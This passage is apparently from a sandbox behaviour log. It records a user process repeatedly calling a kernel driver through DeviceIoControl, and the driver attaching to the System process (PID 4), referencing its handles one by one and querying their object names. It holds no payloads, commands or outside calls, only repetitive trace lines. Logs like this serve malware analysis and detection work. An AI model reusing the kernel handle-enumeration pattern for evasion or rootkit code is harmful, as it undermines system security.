nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.976] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.976] PsAcquireProcessExitSynchronization () returned 0x0 [0110.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.976] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002145050, HandleInformation=0x0) returned 0x0 [0110.976] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.976] PsReleaseProcessExitSynchronization () returned 0x2 [0110.976] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.976] ObQueryNameString (in: Object=0xfffffa8002145050, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.976] ObfDereferenceObject (Object=0xfffffa8002145050) returned 0x2 [0110.976] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.976] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.976] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.976] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.976] PsAcquireProcessExitSynchronization () returned 0x0 [0110.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.976] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002120590, HandleInformation=0x0) returned 0x0 [0110.976] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.976] PsReleaseProcessExitSynchronization () returned 0x2 [0110.976] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.976] ObQueryNameString (in: Object=0xfffffa8002120590, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.976] ObfDereferenceObject (Object=0xfffffa8002120590) returned 0x2 [0110.976] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.976] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.976] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.976] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.976] PsAcquireProcessExitSynchronization () returned 0x0 [0110.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.977] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fa7830, HandleInformation=0x0) returned 0x0 [0110.977] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.977] PsReleaseProcessExitSynchronization () returned 0x2 [0110.977] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.977] ObQueryNameString (in: Object=0xfffffa8001fa7830, ObjectNameInfo=0xfffffa800393e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800393e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.977] ObfDereferenceObject (Object=0xfffffa8001fa7830) returned 0x2 [0110.977] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.977] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.977] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.977] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.977] PsAcquireProcessExitSynchronization () returned 0x0 [0110.977] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.977] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002142050, HandleInformation=0x0) returned 0x0 [0110.977] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.977] PsReleaseProcessExitSynchronization () returned 0x2 [0110.977] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.977] ObQueryNameString (in: Object=0xfffffa8002142050, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.977] ObfDereferenceObject (Object=0xfffffa8002142050) returned 0x2 [0110.977] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.977] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.977] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.977] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.977] PsAcquireProcessExitSynchronization () returned 0x0 [0110.977] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.977] ObReferenceObjectByHandle (in: Handle=0xffffffff800006bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002125660, HandleInformation=0x0) returned 0x0 [0110.977] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.977] PsReleaseProcessExitSynchronization () returned 0x2 [0110.977] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.977] ObQueryNameString (in: Object=0xfffffa8002125660, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.978] ObfDereferenceObject (Object=0xfffffa8002125660) returned 0x2 [0110.978] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.978] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.978] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.978] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.978] PsAcquireProcessExitSynchronization () returned 0x0 [0110.978] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.978] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800289bac0, HandleInformation=0x0) returned 0x0 [0110.978] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.978] PsReleaseProcessExitSynchronization () returned 0x2 [0110.978] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.978] ObQueryNameString (in: Object=0xfffffa800289bac0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.978] ObfDereferenceObject (Object=0xfffffa800289bac0) returned 0x2 [0110.978] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.978] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.978] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.978] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.978] PsAcquireProcessExitSynchronization () returned 0x0 [0110.978] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.978] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800213f2c0, HandleInformation=0x0) returned 0x0 [0110.979] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.979] PsReleaseProcessExitSynchronization () returned 0x2 [0110.979] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.979] ObQueryNameString (in: Object=0xfffffa800213f2c0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.979] ObfDereferenceObject (Object=0xfffffa800213f2c0) returned 0x2 [0110.979] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.979] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.979] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.979] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.979] PsAcquireProcessExitSynchronization () returned 0x0 [0110.979] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.979] ObReferenceObjectByHandle (in: Handle=0xffffffff800006cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800212e790, HandleInformation=0x0) returned 0x0 [0110.979] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.980] PsReleaseProcessExitSynchronization () returned 0x2 [0110.980] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.980] ObQueryNameString (in: Object=0xfffffa800212e790, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.980] ObfDereferenceObject (Object=0xfffffa800212e790) returned 0x2 [0110.980] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.980] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.980] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.980] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.980] PsAcquireProcessExitSynchronization () returned 0x0 [0110.980] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.980] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800286e690, HandleInformation=0x0) returned 0x0 [0110.980] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.980] PsReleaseProcessExitSynchronization () returned 0x2 [0110.980] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.980] ObQueryNameString (in: Object=0xfffffa800286e690, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.980] ObfDereferenceObject (Object=0xfffffa800286e690) returned 0x2 [0110.980] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.980] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.980] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.980] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.980] PsAcquireProcessExitSynchronization () returned 0x0 [0110.980] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.980] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800213ff20, HandleInformation=0x0) returned 0x0 [0110.980] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.980] PsReleaseProcessExitSynchronization () returned 0x2 [0110.980] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.980] ObQueryNameString (in: Object=0xfffffa800213ff20, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.980] ObfDereferenceObject (Object=0xfffffa800213ff20) returned 0x2 [0110.980] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.980] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.981] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.981] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.981] PsAcquireProcessExitSynchronization () returned 0x0 [0110.981] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.981] ObReferenceObjectByHandle (in: Handle=0xffffffff800006dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002131860, HandleInformation=0x0) returned 0x0 [0110.981] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.981] PsReleaseProcessExitSynchronization () returned 0x2 [0110.981] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.981] ObQueryNameString (in: Object=0xfffffa8002131860, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.981] ObfDereferenceObject (Object=0xfffffa8002131860) returned 0x2 [0110.981] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.981] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.981] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.981] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.981] PsAcquireProcessExitSynchronization () returned 0x0 [0110.981] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.981] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800250a720, HandleInformation=0x0) returned 0x0 [0110.981] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.981] PsReleaseProcessExitSynchronization () returned 0x2 [0110.981] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.981] ObQueryNameString (in: Object=0xfffffa800250a720, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.981] ObfDereferenceObject (Object=0xfffffa800250a720) returned 0x2 [0110.981] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.981] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.981] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.981] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.981] PsAcquireProcessExitSynchronization () returned 0x0 [0110.981] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.981] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800213ef20, HandleInformation=0x0) returned 0x0 [0110.981] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.981] PsReleaseProcessExitSynchronization () returned 0x2 [0110.982] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.982] ObQueryNameString (in: Object=0xfffffa800213ef20, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.982] ObfDereferenceObject (Object=0xfffffa800213ef20) returned 0x2 [0110.982] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.982] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.982] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.982] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.982] PsAcquireProcessExitSynchronization () returned 0x0 [0110.982] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.982] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002132a20, HandleInformation=0x0) returned 0x0 [0110.982] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.982] PsReleaseProcessExitSynchronization () returned 0x2 [0110.982] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.982] ObQueryNameString (in: Object=0xfffffa8002132a20, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.982] ObfDereferenceObject (Object=0xfffffa8002132a20) returned 0x2 [0110.982] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.982] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.982] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.982] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.982] PsAcquireProcessExitSynchronization () returned 0x0 [0110.982] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.982] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003521710, HandleInformation=0x0) returned 0x0 [0110.982] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.982] PsReleaseProcessExitSynchronization () returned 0x2 [0110.982] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.982] ObQueryNameString (in: Object=0xfffffa8003521710, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.982] ObfDereferenceObject (Object=0xfffffa8003521710) returned 0x2 [0110.982] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.982] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.982] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.983] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.983] PsAcquireProcessExitSynchronization () returned 0x0 [0110.983] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.983] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800213b2f0, 